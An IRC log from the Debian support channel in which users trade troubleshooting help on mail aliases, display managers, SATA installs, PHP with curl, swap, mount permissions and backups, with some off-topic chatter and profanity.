| 21:06.06 | blondie | pabl0: /etc/aliases? |
| 21:06.07 | fignewton | pab10: /etc/aliases for incoming and /etc/email-addresses for outgoing |
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| 21:06.27 | dvm1981 | ftsac: What about that last one msg? |
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| 21:06.37 | pabl0 | cool, thanks :-) |
| 21:06.38 | deadcat | i just built gtk2-engines-clearlooks and my version is 2.7.3-1, the one in sid is 1:2.6.7-1, why is it trying to upgrade when i apt-get upgrade? it must be the 1: but i dont know how to add that to my package. |
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| 21:06.50 | tzujtzjztjtzjtzj | O_o |
| 21:07.13 | dbe | brosioz, When you change a file, the new version is written to a new location on disk |
| 21:07.13 | dbe | <PROTECTED> |
| 21:07.13 | dbe | <PROTECTED> |
| 21:07.13 | dbe | shred overwrites several times with random glibberish. it's nearly impossible (depending on the switches you use) |
| 21:07.13 | dbe | to do forensic recovery directly on the magnetical disk |
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| 21:07.16 | SerajewelKS | dannyp: i wrote my own think with libpcap and libnet, and it's working very nicely. i did wind up using the arpspoof sources to figure some things out. thanks for the suggestions. |
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| 21:07.30 | ke6isf | !tell dbe -about flood |
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| 21:07.40 | dbe | sorry |
| 21:07.41 | pabl0 | by using /etc/aliases, I can *sign in* to may mail account like user@foobar.com or like m123456? |
| 21:07.43 | ke6isf | Is the flood threshold up to five lines now? |
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| 21:07.56 | ke6isf | pabl0: No. |
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| 21:08.01 | ftsac | dvm1981, ?? |
| 21:08.08 | wols | pabl0: sign in? do you use smtp-auth or sign in for what? |
| 21:08.13 | soup_ | if you know the apt source, say http://mirrors.kernel.org/debian/ stable main, how could you go about downloading a debian package manually? |
| 21:08.15 | SerajewelKS | ke6isf: i think it has to do with debhelper's lag or something, it can only respond so quickly |
| 21:08.18 | ke6isf | pabl0: /etc/aliases is only for mail distribution - the MTA uses that to determine where mail goes if it's received for that address. |
| 21:08.26 | dvm1981 | ftsac: I have not understand you're for last msg. |
| 21:08.29 | ke6isf | SerajewelKS: True, true. |
| 21:08.34 | unstable | What is a good program to clock the cpu(gtk if possible) |
| 21:08.36 | soup_ | I can't seem to find any of the debian packages on the web server |
| 21:08.47 | dvm1981 | ftsac: gdm.conf? |
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| 21:09.06 | beered | unstable: powernowd |
| 21:09.10 | wols | soup_: there is a file "packages" ther. it has the patchs |
| 21:09.15 | wols | *paths |
| 21:09.24 | soup_ | wols: ty |
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| 21:09.32 | ftsac | dvm1981, yes you want gdm.conf?? |
| 21:09.39 | dedalo | !seen dvm1981 |
| 21:09.40 | dpkg | dvm1981 is currently on #debian (53m 14s). Has said a total of 37 messages. Is idling for 53s |
| 21:09.48 | dvm1981 | ftsac: Yep |
| 21:09.59 | pabl0 | wols, well, currently if I want to check my email (user@example.com) I need to use the mxxxxx username. I'd like to use the user@example.com also as the username, so when I sign to user@example.com will be the same as signing as m123456 |
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| 21:10.54 | ke6isf | Time for coffee. |
| 21:11.06 | GuzzleFry | hey everyone, I'm having trouble installing Debian 3.1 AMD. It can't find my SATA drive |
| 21:11.06 | dvm1981 | ftsac: A usefull package for you 'xclip' |
| 21:11.19 | dvm1981 | ftsac: xclip PATH_FILE |
| 21:11.31 | wols | GuzzleFry: Intel oder nvidia chipset? |
| 21:11.32 | GuzzleFry | *AMD64 |
| 21:11.34 | ftsac | dvm1981, http://pastebin.com/573846 |
| 21:11.39 | GuzzleFry | umm, ALi |
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| 21:12.20 | dvm1981 | dominicano: ;-) I try to debug a thing now here... |
| 21:12.35 | fignewton | pabl0: you might need something like courier or some pam magic, depending on at what level you want to make the "alias" |
| 21:12.43 | |splat| | is there a madwifi module package? |
| 21:12.53 | dominicano | dvm1981, I see!!! |
| 21:12.55 | pabl0 | fignewton, ok, with that information I can know where to look, thanks :) |
| 21:12.57 | GuzzleFry | wait, ULi, sorry |
| 21:13.03 | dominicano | dvm1981, how you doing_? |
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| 21:13.10 | wols | GuzzleFry: same thing I guess... |
| 21:13.12 | astronut | is dpkg broken? |
| 21:13.16 | dvm1981 | dominicano: Searching ... :-) |
| 21:13.25 | Azuos10 | Is there someone from Cambridge(UK) here? |
| 21:13.46 | astronut | !xorg |
| 21:13.49 | wols | GuzzleFry: but if that kernel deosn't recognize it only chance you have is a newer kernel. that means new installer |
| 21:13.52 | dominicano | dvm1981, i mean, how do you fell today_? |
| 21:14.04 | ftsac | dvm1981, you see my pastebin? |
| 21:14.04 | wols | dpkg: are you broken? |
| 21:14.04 | GuzzleFry | yeah |
| 21:14.06 | dvm1981 | dominicano: Like another one :-) |
| 21:14.13 | GuzzleFry | ok, how about this |
| 21:14.19 | wols | !d-i |
| 21:14.20 | dvm1981 | ftsac: Sure ;-), im on it, |
| 21:14.24 | dominicano | dvm1981, good answer |
| 21:14.30 | wols | astronut: it is apparently |
| 21:14.36 | chealer9 | |splat|: which release do you use? |
| 21:14.39 | dvm1981 | ftsac: Sorry, not fast enougth ;-) |
| 21:14.49 | GuzzleFry | I put this slow 5400RPM IDE drive into my computer, install Debian on that, then recompile a kernel, and move it to a partition on the SATA drive, and boot from that? |
| 21:15.01 | ftsac | dvm1981, xclip <-- cool :) |
| 21:15.04 | wols | GuzzleFry: yes that's possible |
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| 21:15.28 | dvm1981 | ftsac: Usefull! And if you change the line to 'GraphicalTheme=debian'? |
| 21:15.33 | GuzzleFry | wols: any problems I might encounter? |
| 21:16.29 | ftsac | dvm1981, I tried another one which is already in /usr/share/gdm/themes |
| 21:16.30 | dvm1981 | ftsac: That one you're trying is not there i think. |
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| 21:16.50 | wols | it'S pretty straight forward if you know about linux, but I don't know how linux proficient you are |
| 21:16.51 | dvm1981 | ftsac: With the 'debian' theme? |
| 21:16.59 | ftsac | yes |
| 21:17.45 | dvm1981 | ftsac: I paste that i have, and working :-/ |
| 21:17.55 | ftsac | :o |
| 21:18.24 | |splat| | chealer9: thinking of installing the amd64 debian |
| 21:18.24 | ftsac | I tried p"s aux | grep gdm" but I find nothing |
| 21:18.47 | chealer9 | |splat|: that doesn't tell me what release you would install though |
| 21:19.01 | |splat| | sarge |
| 21:19.02 | dvm1981 | ftsac: http://pastebin.ca/43257 |
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| 21:19.13 | chealer9 | |splat|: there are no madwifi packages in sarge |
| 21:19.17 | GuzzleFry | O |
| 21:19.23 | dvm1981 | ftsac: xdm are running now? |
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| 21:19.38 | ftsac | dvm1981, yes |
| 21:19.55 | ftsac | that what I said after reboot my box |
| 21:19.56 | |splat| | chealer9: other releases, like woody, do? |
| 21:20.07 | chealer9 | |splat|: no, etch does |
| 21:20.09 | dvm1981 | ftsac: As root '/etc/init.d/xdm stop' '/etc/init.d/gdm start' |
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| 21:20.20 | Wonker | arrrrggggghhhh .... anyone know how I could get the debian-installer/keymap stuff installed? ( xserver-xorg troubles) |
| 21:20.27 | |splat| | oh, ok |
| 21:20.30 | dvm1981 | ftsac: No needs to reboot you're computer, just restart the graphical environment |
| 21:20.30 | GuzzleFry | I'll guess I'll wait until I have more time to get this set up |
| 21:20.35 | Performan | does anyone know how to compile PHP in Debian? |
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| 21:20.51 | roler | is there a minicom replacement for X? |
| 21:20.51 | ftsac | dvm1981, now I tried |
| 21:20.52 | deadcat | Performan: just apt-get it |
| 21:20.53 | ftsac | :) |
| 21:21.06 | GuzzleFry | compiling is more fun though... |
| 21:21.17 | Performan | i have.. |
| 21:21.19 | Wonker | Performan, there should be a source package for it |
| 21:21.21 | chealer9 | Performan: probably as you'd recompile any Debian package |
| 21:21.22 | Performan | but now i need to make it work for curl |
| 21:21.26 | dvm1981 | ftsac: You're lossing time if you restart always you're computer. Having some M$ bugs? :-/ |
| 21:21.33 | ftsac | :) |
| 21:21.38 | roler | or should I just run it in a terminal... |
| 21:21.40 | Performan | i have apt-get php5.1-w-curl.. or whatever its called |
| 21:21.42 | ftsac | I will /etc/init.d/ ... |
| 21:21.47 | Performan | but curl wont work properl |
| 21:21.48 | Performan | ty |
| 21:21.48 | deadcat | if you want to comiple. figure out yourself. |
| 21:22.04 | Performan | ive been trying to use ./configure but it does not work |
| 21:22.22 | deadcat | because you didnt install the required libs. |
| 21:22.25 | Wonker | define "does not work" |
| 21:22.29 | wols | !doesnotwork |
| 21:22.50 | quad3d | hmm... just accidently stabbed my hand with my knife... blood squirting... |
| 21:23.01 | Performan | well its not a command found in debian |
| 21:23.16 | \amethyst | quad3d: and you decided to tell IRC rather than stop the bleeding? |
| 21:23.19 | Wonker | knives and chat are not compatible |
| 21:23.42 | Wonker | mm.. you have to go to where the source is unpacked and run it in that directory |
| 21:23.45 | Wonker | it is a local file |
| 21:23.54 | ke6isf | quad3d: Um, call 911? |
| 21:24.02 | Wonker | however, if you are not familiar with that, PHP might be a lot to learn on |
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| 21:24.30 | shogunx | quad3d field tourniquet with a sock and duck tape |
| 21:24.46 | ke6isf | shogunx: Tourniquet is a bad idea, results in loss of limb. |
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| 21:25.13 | shogunx | make that field bandage |
| 21:25.14 | GuzzleFry | I thought the 911 idea was the best |
| 21:25.47 | ke6isf | Makes me wonder if he's just trolling though... |
| 21:25.56 | deadcat | proabably. its sunday |
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| 21:26.27 | Performan | im losing my fucking mind here, why is this shit so fucking hard? I just want php with fucking curl for fuck sakes |
| 21:26.38 | Performan | ARGH ya know? |
| 21:27.08 | Woosta | Had a working Debian, backed up my /home, overwrote it and the swap with XP .. now, how to get it going again? |
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| 21:27.22 | GuzzleFry | performan: you did untar the source right? |
| 21:27.32 | ke6isf | Woosta: ...reinstall it, natch. Did you back up /etc? |
| 21:27.35 | Woosta | I need to re-create the swap, and point /home to the new drive .. but I don't need to reinstall everything |
| 21:27.39 | m00s3s | How do I get scandic letters to work in Debian (for example, the finnish keymap)? |
| 21:27.49 | Woosta | ke6isf /etc etc are all still on a working partition |
| 21:27.58 | Performan | GuzzleFry where is the source? |
| 21:28.01 | Performan | lol i dont know jack shit |
| 21:28.02 | ke6isf | Woosta: Ah, I thought you meant you o'wrote the Debian install. |
| 21:28.10 | Woosta | Nah, just /home and the swap |
| 21:28.13 | Performan | my goal is simple, run php /w mysql and curl |
| 21:28.15 | GuzzleFry | you should have downloaded it, get it from www.php.net |
| 21:28.17 | Performan | that's all i need from debian |
| 21:28.23 | Performan | i used apt-get install |
| 21:28.27 | Performan | to install php w/ curl |
| 21:28.41 | ke6isf | Woosta: Should just be able to drop the home tree in the current /home location (or adjust your fstab) and go. |
| 21:28.49 | ke6isf | !tell Performan -about enter |
| 21:28.52 | wols | Performan: if you used apt-get install, why do you want to build it yourself? |
| 21:29.13 | EdLin | !wayc Performan |
| 21:29.16 | Woosta | ke6isf .. that's what I thought .. so. How do I boot to it though? XP, of course, takes over boot loading |
| 21:29.20 | Performan | cause it doesnt work |
| 21:29.27 | Performan | it doesnt find the curl shit |
| 21:29.36 | Performan | and i dunno what fucking php.ini to edit |
| 21:29.37 | Performan | lol |
| 21:29.38 | Performan | im going insane |
| 21:29.40 | Wonker | u tried php4-curl |
| 21:29.40 | Woosta | And, is it OK to work without swap? |
| 21:29.48 | Performan | php5-curl |
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| 21:29.51 | EdLin | !u |
| 21:29.56 | wols | Performan: then you have a broken package. complain to the package maintainer not us. and watch your language please |
| 21:29.58 | Wonker | o that even (I am dated) |
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| 21:30.03 | EdLin | dpkg: test |
| 21:30.13 | deadcat | EdLin: its sunday. what you expect (= |
| 21:30.31 | GecKo` | aLen is onjoin spamming... |
| 21:30.31 | wols | Wonker: if you have enough RAM: sure. if you don't have enough, the kernel will terminate processes more or less randomly to make room |
| 21:30.38 | shogunx | Woosta till you run out of physical memory |
| 21:30.41 | EdLin | deadcat: dpkg is taking the day off. ;-) |
| 21:30.50 | wols | !ops ALen is onjoin spamming |
| 21:31.00 | deadcat | EdLin: bastard out drinking with his botties (= |
| 21:31.00 | m00s3s | How do I get scandic letters to work in Debian (for example, the finnish keymap)? |
| 21:31.07 | ke6isf | Performan: Please don't punctuate your lines with enter. See the factoid I sent you. |
| 21:31.07 | Woosta | shogunx yes, but I should be able to boot to get to some point where I can create a new swap |
| 21:31.12 | Wonker | ok, a more specific question: Does anyone know how to write debian-installer entries after the fact? I need debian-installer/keymap specifically |
| 21:31.16 | shogunx | Woosta correct |
| 21:31.19 | Performan | i didnt get a factoid |
| 21:31.24 | wols | ke6isf: there are no factoids. dpkg is out of commission |
| 21:31.26 | ke6isf | ...crap, dpkg is shot. |
| 21:31.39 | bucky | !test |
| 21:31.56 | Woosta | So, how do I boot into debian now that GRUB no longer has charge of the boot? |
| 21:32.13 | ke6isf | Who else of us is ops? |
| 21:32.21 | wols | Wonker: use a live cd, boot floppies, whatever |
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| 21:32.42 | Woosta | I assume that was for me :) |
| 21:32.49 | shogunx | Woosta boot floppy, livecd, to reinstall a boot loader. |
| 21:32.52 | Wonker | wols, no, I mean in a running system. The system is diskless and has a config.... |
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| 21:33.05 | Wonker | wols, or was that aimed at WoodsDog |
| 21:33.10 | Woosta | shogunx, would the netinst cd work? |
| 21:33.13 | Wonker | wols, err, Woosta |
| 21:33.16 | Woosta | LOL |
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| 21:33.32 | dvm1981 | ftsac: Have take time, it's looks. |
| 21:33.33 | shogunx | Woosta select tehj "make system bootable" option. |
| 21:33.44 | ftsac | dvm1981, ? |
| 21:33.54 | dvm1981 | ftsac: To restart gdm |
| 21:33.56 | wols | Wonker: your swap thing was aimed at you. a diskless system or a diskbased one doesn't matter. the kernel will do whatever its told unless it runs out of ram for some reason. then it's process killing time |
| 21:34.05 | ftsac | with /etc/init.d/gdm start then |
| 21:34.10 | Woosta | shogunx .. LOL .. sounds like a magic pill :) |
| 21:34.12 | ftsac | it is not the default display manager. |
| 21:34.34 | Wonker | wols, I didn't ask about swap, that was Woosta |
| 21:34.38 | GuzzleFry | hmm, what does windows do when it runs out of ram? |
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| 21:34.47 | chealer9 | dondelelcaro: dpkg needs coffee |
| 21:34.53 | wols | Wonker: sorry then |
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| 21:34.58 | dvm1981 | ftsac: 'dpkg-reconfigure gdm' |
| 21:35.00 | Wonker | wols, but maybe you know how to write debian-installer entries |
| 21:35.01 | shogunx | GuzzleFry release a new version incompatible with older hardware |
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| 21:35.06 | wols | Wonker: sorry no |
| 21:35.07 | EdLin | GuzzleFry: crash - the same thing it does before it runs out of RAM |
| 21:35.23 | live | alguem me ajuda a gravar uma distro linux à partir do windows? |
| 21:35.25 | GuzzleFry | awesome, guess what I'm running right now? |
| 21:35.26 | wols | GuzzleFry: it increases the swapfile |
| 21:35.31 | Woosta | GuzzleFry AFAIK it has dynamic swap |
| 21:35.36 | GuzzleFry | oh |
| 21:35.46 | Woosta | there :) .. I was actually right about something :) |
| 21:36.00 | gnufan | Performan: I think compiling from source a waste of your time. If the Debian maintainers didn't get php5-curl to work, I doubt you will. My guess is the ini files have got mangled -- if poss just purge the lot, and install precisely what you need, problems arise if you mess around with different php versions on the same box I think. |
| 21:36.06 | ke6isf | live: /j #ubuntu |
| 21:36.12 | dvm1981 | ftsac: If you not use 'xdm', remove it 'apt-get remove xdm' |
| 21:36.24 | Wonker | there has to be some friggin way to update debian-installer info after install |
| 21:36.37 | ke6isf | live: Habla muy pocito espanol. |
| 21:36.40 | Woosta | Wonker .. like debconf? |
| 21:36.44 | chealer9 | live: ask #debian-br |
| 21:37.00 | ke6isf | chealer9: ...that was portugese, wasn't it? |
| 21:37.02 | dvm1981 | dominicano: I try to speak with you in prive but, i'm fail it it :-( |
| 21:37.02 | ftsac | ac |
| 21:37.14 | live | yes |
| 21:37.21 | chealer9 | ke6isf: yep, Brazil is portuguese |
| 21:37.27 | GuzzleFry | does linux offer any good, free dvd authoring software? |
| 21:37.32 | ke6isf | live: This is an english only channel. Try /join #ubuntu-br |
| 21:37.38 | ke6isf | chealer9: (he's running Ubuntu) |
| 21:37.43 | live | ok |
| 21:37.46 | live | <PROTECTED> |
| 21:37.52 | Woosta | GuzzleFry: Checkout tovid.sf.net |
| 21:38.01 | GuzzleFry | ok, thanks |
| 21:38.15 | chealer9 | ke6isf: well, he's talking about Windows, so I expect he'll be redirected one more time anyway |
| 21:38.21 | Woosta | (There's tons of others, I just know the guys who work on that) |
| 21:38.23 | ke6isf | chealer9: Heh *shrug* |
| 21:38.40 | live | ubuntu-br |
| 21:39.03 | EdLin | apt: test |
| 21:39.05 | apt | Test Failed! |
| 21:39.14 | EdLin | well, apt is working |
| 21:39.28 | ke6isf | EdLin: Good thing. What's the attn character for apt? |
| 21:39.34 | EdLin | ~test |
| 21:39.36 | apt | Test Failed! |
| 21:39.36 | Wonker | Woosta, but how would one use debconf to push newstuff into the database. I think I am missing something obvious |
| 21:39.38 | unstable | dondelelcaro: dpkg is broken |
| 21:39.39 | ke6isf | bing! |
| 21:39.52 | ke6isf | unstable: I sent a privmsg about it already. |
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| 21:40.21 | Woosta | Wonker .. no idea .. I'm not sure what it is that you need to do .. but it sounds like it should be solveable by adding packages or just changing the conf |
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| 21:41.04 | jefferson | can someone help me out with my sound card? it uses ac97, and ac97 is running, but no sound |
| 21:41.05 | dvm1981 | ftsac: And work now? |
| 21:41.09 | ftsac | dvm1981, yes |
| 21:41.10 | ftsac | :) |
| 21:41.21 | dvm1981 | ftsac: And the theme? |
| 21:41.36 | Wonker | Woosta, well, the problem is my install didn't end up with a debian-installer/keymap entry, which causes all sorts of grief, and I can't see how to change it now; one would figure there has to be a way... |
| 21:41.36 | ftsac | i think it because of gdm not be default |
| 21:41.42 | ftsac | yes |
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| 21:42.05 | ke6isf | Time to do the laundry.... |
| 21:42.07 | dvm1981 | How so, is gdm not more the default one? |
| 21:42.31 | Wonker | mmm....maybe install-keymap in the console-common package.... |
| 21:42.44 | unstable | gdm sucks, too bloated, use xdm or slim or something, or even wdm |
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| 21:44.17 | dvm1981 | unstable: There are so many things that sucks :-/ But if he want to use that one :-/ |
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| 21:44.36 | ftsac | unstable, why gdm is suck?? |
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| 21:44.49 | dvm1981 | ftsac: That eat to many memory |
| 21:44.56 | Stevie | suck is a verb, not a noun |
| 21:44.59 | dvm1981 | ftsac: Comparated to others |
| 21:45.04 | hatake_kakashi | if you are a minimalist, you'd be using wmaker :p |
| 21:45.09 | wols | ftsac: I kinda like the kde one. lets you easily choose which WM/DE to use |
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| 21:45.13 | unstable | But then again, if you use gnome...you might as well use gdm |
| 21:45.20 | Stevie | therefore, gdm may suck, but it can't be said that "gdm is suck" |
| 21:45.26 | unstable | But if you are using xfce4 or fluxbox or something...waste of resources to use gdm/kdm imho |
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| 21:45.40 | dvm1981 | xdm is fine enougt to do what he need to do :-/ |
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| 21:46.01 | bsims | how do I set default margins in openoffice... editing default page style doesn't do it |
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| 21:46.06 | wols | unstable: if you think of it, any displaymanage is a waste of ressources |
| 21:46.24 | ftsac | unstable, I tried pekwm with slack |
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| 21:46.44 | Woosta | Is there a Debian 'Rescue CD'? |
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| 21:46.54 | wols | Woosta: knoppix |
| 21:47.06 | Woosta | lol |
| 21:47.06 | shogunx | wols they are handy when providing x sessions to terminals. |
| 21:47.18 | dvm1981 | Woosta: And is also Debian based |
| 21:47.19 | wols | Woosta: old CDs you could boot in rescue mode. dunno about sarge anymore |
| 21:47.21 | GuzzleFry | would it be possible to load the drivers for my SATA controller during installation? |
| 21:47.27 | GuzzleFry | from a cd or floppy? |
| 21:47.40 | wols | GuzzleFry: no. you need to build your own installer for that |
| 21:47.46 | GuzzleFry | oh |
| 21:47.52 | Woosta | OK folks .. I'm off to try all this .. cheers! |
| 21:48.11 | wols | tho, you could switch to alt+f2 while installing and insmod the module you need. but you'd still need to run a kernel that has this module |
| 21:48.17 | dvm1981 | ftsac: So all the troubles are solved now? |
| 21:48.18 | wols | which your sarge kernel doesn't |
| 21:48.26 | ftsac | dvm1981, yes |
| 21:48.27 | ftsac | :) |
| 21:48.42 | dvm1981 | ftsac: I take a litte break then :-0 |
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| 21:52.25 | dvm1981 | ftsac: Back for an next question? :-) |
| 21:52.51 | ftsac | dvm1981, lolz |
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| 21:53.05 | ftsac | I still have one more |
| 21:53.13 | dvm1981 | ftsac: If i can help ;-) i like it |
| 21:53.27 | ftsac | dvm1981, oh great |
| 21:53.34 | ftsac | about scim |
| 21:54.02 | ftsac | I don't know how to use it with m17n lib |
| 21:54.03 | GuzzleFry | how old is 3.1? |
| 21:54.21 | ke6isf | GuzzleFry: June, why? |
| 21:54.52 | GuzzleFry | wondering why it doesn't support my SATA drive |
| 21:55.02 | dvm1981 | ftsac: Not knowing wath is it, so needing to look for it |
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| 21:55.15 | ftsac | ;) |
| 21:55.21 | sandman | To make my system into a mailing list server, I should install smartlist, and how should I configure exim? |
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| 21:55.31 | ftsac | it is smart common input method |
| 21:55.42 | ke6isf | sandman: install mailman. It Just Works. |
| 21:55.52 | ftsac | it allows me to type japanese, korean, ... |
| 21:55.57 | dvm1981 | ftsac: But that say me nothing :-/ |
| 21:56.02 | sandman | ke6isf: Thanks |
| 21:56.03 | ftsac | a lot of languages |
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| 21:56.23 | dvm1981 | ftsac: I get it so 'apt-cache show scim' |
| 21:56.33 | ftsac | dvm1981, I google it many times |
| 21:56.48 | ke6isf | GuzzleFry: There's a reason for it, and I think it has something to do with the fact that SATA wasn't put into Sarge on release. If dpkg were working, I could look it up.... |
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| 21:57.23 | sandman | ke6isf: Thanks. |
| 21:57.40 | sundancezephyr | I need apm in my kernel... |
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| 21:58.11 | sandman | ke6isf: Does mailman run seperate from exim? |
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| 21:58.41 | ke6isf | sandman: Yes, it does. |
| 21:58.56 | eheil | s |
| 21:58.58 | dvm1981 | ftsac: I know nothing about that package, i not clearly understand why it's used for but have you install 'scim-m17n' |
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| 21:59.01 | ke6isf | sandman: Make sure you read the documentation. |
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| 21:59.23 | ftsac | dvm1981, yes |
| 21:59.31 | ftsac | I installed them all |
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| 21:59.44 | yggrdasil | can somone help me ive got a smb drive and an ntfs drive mounted but i can only get tothem as root ... ??? im not sure how to turn on the permissions |
| 21:59.48 | sundancezephyr | My kernel does not have apm support, how can I add it? |
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| 21:59.58 | ftsac | but it still not works as before I dist-upgrade to testing |
| 22:00.02 | unstable | !tell yggrdasil about ntfsrw |
| 22:00.09 | ke6isf | Erm... |
| 22:00.10 | ke6isf | !test |
| 22:00.17 | unstable | I can't help anyone with dpkg |
| 22:00.18 | unstable | lol |
| 22:00.21 | yggrdasil | hehe |
| 22:00.21 | wols | yggrdasil: umask, umode. read about those in man mount |
| 22:00.23 | unstable | I don't actually know what I'm doing |
| 22:00.24 | ke6isf | unstable: dpkg is borked. |
| 22:00.24 | unstable | I just use dpkg |
| 22:00.28 | yggrdasil | ok thanks wols |
| 22:00.31 | yggrdasil | thats what i need to know |
| 22:00.33 | shining | hmm wengophone is awful :( |
| 22:00.37 | wols | sundancezephyr: try modprobe apm |
| 22:00.39 | stew | @ntfsrw |
| 22:00.42 | ke6isf | !ntfsrw |
| 22:00.44 | sundancezephyr | wols, no module |
| 22:00.46 | ke6isf | ~ntfsrw |
| 22:01.02 | hlieberman | Does anyone know why I'm getting messages about an APIC error whenever I use apt? |
| 22:01.07 | wols | sundancezephyr: ./2.6.8-2-386/kernel/arch/i386/kernel/apm.ko |
| 22:01.13 | wols | debian default kernel has it |
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| 22:01.26 | wols | if you made your own kernel you should know how |
| 22:01.30 | sundancezephyr | wols, I'm using an ubuntu kernel >.> |
| 22:01.40 | wols | sundancezephyr: then go to #ubuntu. good day |
| 22:01.43 | ke6isf | sundancezephyr: ask in #ubuntu. |
| 22:02.00 | sundancezephyr | I'm using a debian/ubuntu package mix... |
| 22:02.03 | dvm1981 | ftsac: I can not help with that package :-/ |
| 22:02.12 | wols | then be your own support. we won't be it |
| 22:02.13 | hlieberman | APIC error on CPU0: 40(40) is the exact one. |
| 22:02.13 | yggrdasil | so umask=777 ? |
| 22:02.14 | stew | yggrdasil: http://dpkg.vireo.org/ntfsrw |
| 22:02.17 | ke6isf | sundancezephyr: Debian does not support Ubuntu. At all. |
| 22:02.25 | wols | yggrdasil: no. umask=000 |
| 22:02.26 | yggrdasil | thanks stew ill read that |
| 22:02.28 | ke6isf | sundancezephyr: If you're putting an Ubuntu kernel in a Debian distro, we're done. |
| 22:02.29 | yggrdasil | oh ok |
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| 22:02.49 | unstable | Why doesn't someone just setup blootbot, and copy all of dpkg's factoids. |
| 22:02.55 | sundancezephyr | ke6isf, How would I use a debian kernel and get my wireless working? |
| 22:02.59 | nuMBER5 | Quien habla español |
| 22:03.08 | unstable | nuMBER5: #debian-es |
| 22:03.11 | ke6isf | nuMBER5: /join #debian-es, por favor. |
| 22:03.20 | nuMBER5 | need assi asterisk |
| 22:03.20 | dvm1981 | ftsac: Have you read the documentation that are provided with that app? |
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| 22:03.29 | nuMBER5 | Feb 26 15:59:21 WARNING[3159]: chan_iax2.c:1039 try_firmware: Firmware file '/var/lib/asterisk/firmware/iax/iaxy.bin' fails checksum |
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| 22:03.51 | nuMBER5 | asterial reload send error |
| 22:03.55 | ke6isf | sundancezephyr: Tell me this, did you install an Ubuntu kernel package into a Debian install, or...? |
| 22:04.01 | ftsac | dvm1981, www.scim-im.org |
| 22:04.02 | unstable | nuMBER5: /join #debian-es |
| 22:04.19 | ke6isf | nuMBER5: no habla espanol aqui. /join #debian-es, por favor. |
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| 22:04.25 | ftsac | dvm1981, www.m17n.org |
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| 22:04.37 | sundancezephyr | ke6isf, I installed ubuntu and switched over to debian packages >.< I wasn't aware that that was a bad idea... |
| 22:04.45 | dvm1981 | ftsac: No i mean in 'dpkg -L scim-m17n' |
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| 22:04.50 | unstable | sundancezephyr: sounds like a really bad idea to me |
| 22:04.54 | ke6isf | sundancezephyr: It's a very bad idea. It's also something we don't support - we don't support Ubuntu here at all. |
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| 22:05.05 | ke6isf | sundancezephyr: If you want our support, you need to install Debian. |
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| 22:05.17 | hlieberman | Does anyone know anything about the APIC error? |
| 22:05.31 | ke6isf | hlieberman: What APIC error? |
| 22:05.34 | hlieberman | APIC error on CPU0: 40(40) is the exact one. |
| 22:05.37 | ftsac | dvm1981, It has only 1 line |
| 22:05.38 | unstable | hlieberman: If dpkg was here I could help you, but I can't. |
| 22:05.41 | ftsac | in README file |
| 22:05.44 | sundancezephyr | ke6isf, I can do that but how would I transfer my settings ? |
| 22:06.00 | ke6isf | sundancezephyr: Carefully. =^_^= Are you running services? |
| 22:06.05 | dvm1981 | ftsac: Bwa, read it :-/ i have that app and scim not installed here. |
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| 22:06.19 | hatake_kakashi | hlieberman: if its for one cpu, try booting with 'nolapic' appended |
| 22:06.21 | YogSothoth4 | Hi |
| 22:06.30 | sundancezephyr | ke6isf, services... like a server? |
| 22:06.35 | ke6isf | sundancezephyr: Yes. |
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| 22:06.43 | hlieberman | hatake_kakashi, I'll try that. Thanks! |
| 22:06.48 | sundancezephyr | thttpd and php bots |
| 22:06.51 | hatake_kakashi | hlieberman: np |
| 22:06.57 | juice` | does anyone know any good incremental backup method via FTP ? |
| 22:07.09 | ke6isf | sundancezephyr: What are their purpose? (a php bot?!... =O.o= |
| 22:07.15 | yggrdasil | so is it mount -t smbfs -o username=yggdrasil //olya/storeage /mnt/storeage uname=000 |
| 22:07.25 | ke6isf | juice`: rsync comes to mind, but I know little else. |
| 22:07.25 | YogSothoth4 | I'm trying to compile PostgreSQL and I get this while launching ./configure: configure: error: zlib library not found. But I've got zlib1g and zlib1g-dev packages installed. What are the package to install then? |
| 22:07.36 | sundancezephyr | ke6isf, an thttpd web server and php5 running bots for the deviantART chatrooms. |
| 22:07.40 | ke6isf | YogSothoth4: Why are you compiling instead of using apt-get? |
| 22:07.56 | sandman | What's the difference between exim, mailx, and mutt? |
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| 22:08.04 | ke6isf | sundancezephyr: What's php5 running under, thttpd? |
| 22:08.08 | juice` | ke6isf: i thought rsync have its own protocol, and allows only this for transfer (or scp) |
| 22:08.09 | YogSothoth4 | ke6isf, because the version proposed with apt-get is not the latest |
| 22:08.18 | ke6isf | sandman: exim is a mail transport agent. mutt is a mail reader. |
| 22:08.29 | juice` | ke6isf: i also can't find anything about ftp in manual |
| 22:08.32 | ke6isf | YogSothoth4: What version of Debian are you running? |
| 22:08.36 | sundancezephyr | ke6isf, the php5 is using apache2 libraries as is thttp. |
| 22:08.54 | ke6isf | juice`: good point, though I'll point out that scp simply requires ssh to be installed. |
| 22:09.02 | sundancezephyr | ke6isf, the php bots are simply files I can transfer. |
| 22:09.18 | ke6isf | sundancezephyr: So it sounds like to me that php5 is running under apache. As I understand it, php will not run independently as its own daemon. |
| 22:09.18 | YogSothoth4 | ke6isf, Linux 2.4.27-2-386 ...Debian Sarge) |
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| 22:09.29 | juice` | ke6isf: i don't think rsync allows to check on the other side what file version is there and what i have on this side |
| 22:09.42 | juice` | ke6isf: i need something that will transfer only files that differ |
| 22:09.43 | YogSothoth4 | ke6isf, latest net install of Debian, 3. |
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| 22:09.57 | ke6isf | YogSothoth4: The earlier version is not a bug, it's a feature. Is there a reason yo uneed the latest pgsql? |
| 22:10.09 | ke6isf | juice`: Hmm.... |
| 22:10.17 | sundancezephyr | ke6isf, I'll look into running a different setup when I have time, I really can afford to lose my only computer seeing as I need it for class tomorrow, |
| 22:10.25 | sundancezephyr | can't* |
| 22:10.29 | ke6isf | sundancezephyr: Indeed. =^_^= |
| 22:11.00 | YogSothoth4 | ke6isf, not especially, I like to work with latests tools. Are you discouraging me to compile from source? |
| 22:11.21 | ke6isf | sundancezephyr: Configs *should*, in theory, transfer over just fine - but when I moved from Mandrake to Debian Sarge, things were a little unpredictable and I had to put out about a dozen fires. That said, see to it when you have time. |
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| 22:11.33 | juice` | ke6isf: i tried tar, but this is 150GB data within millions of files, and it is changing constantly, so before tar ends its time for indexing it, it differs, and whet it ends archivizing it (like 36 hours?) part of data is out of date |
| 22:11.56 | YogSothoth4 | ke6isf, and to conform to the FHS I want my softwares to be installed to /opt, which I can't with apt-get |
| 22:11.56 | sundancezephyr | ke6isf, how can I make an image of my ext3 filesystem to another drive as a backup? |
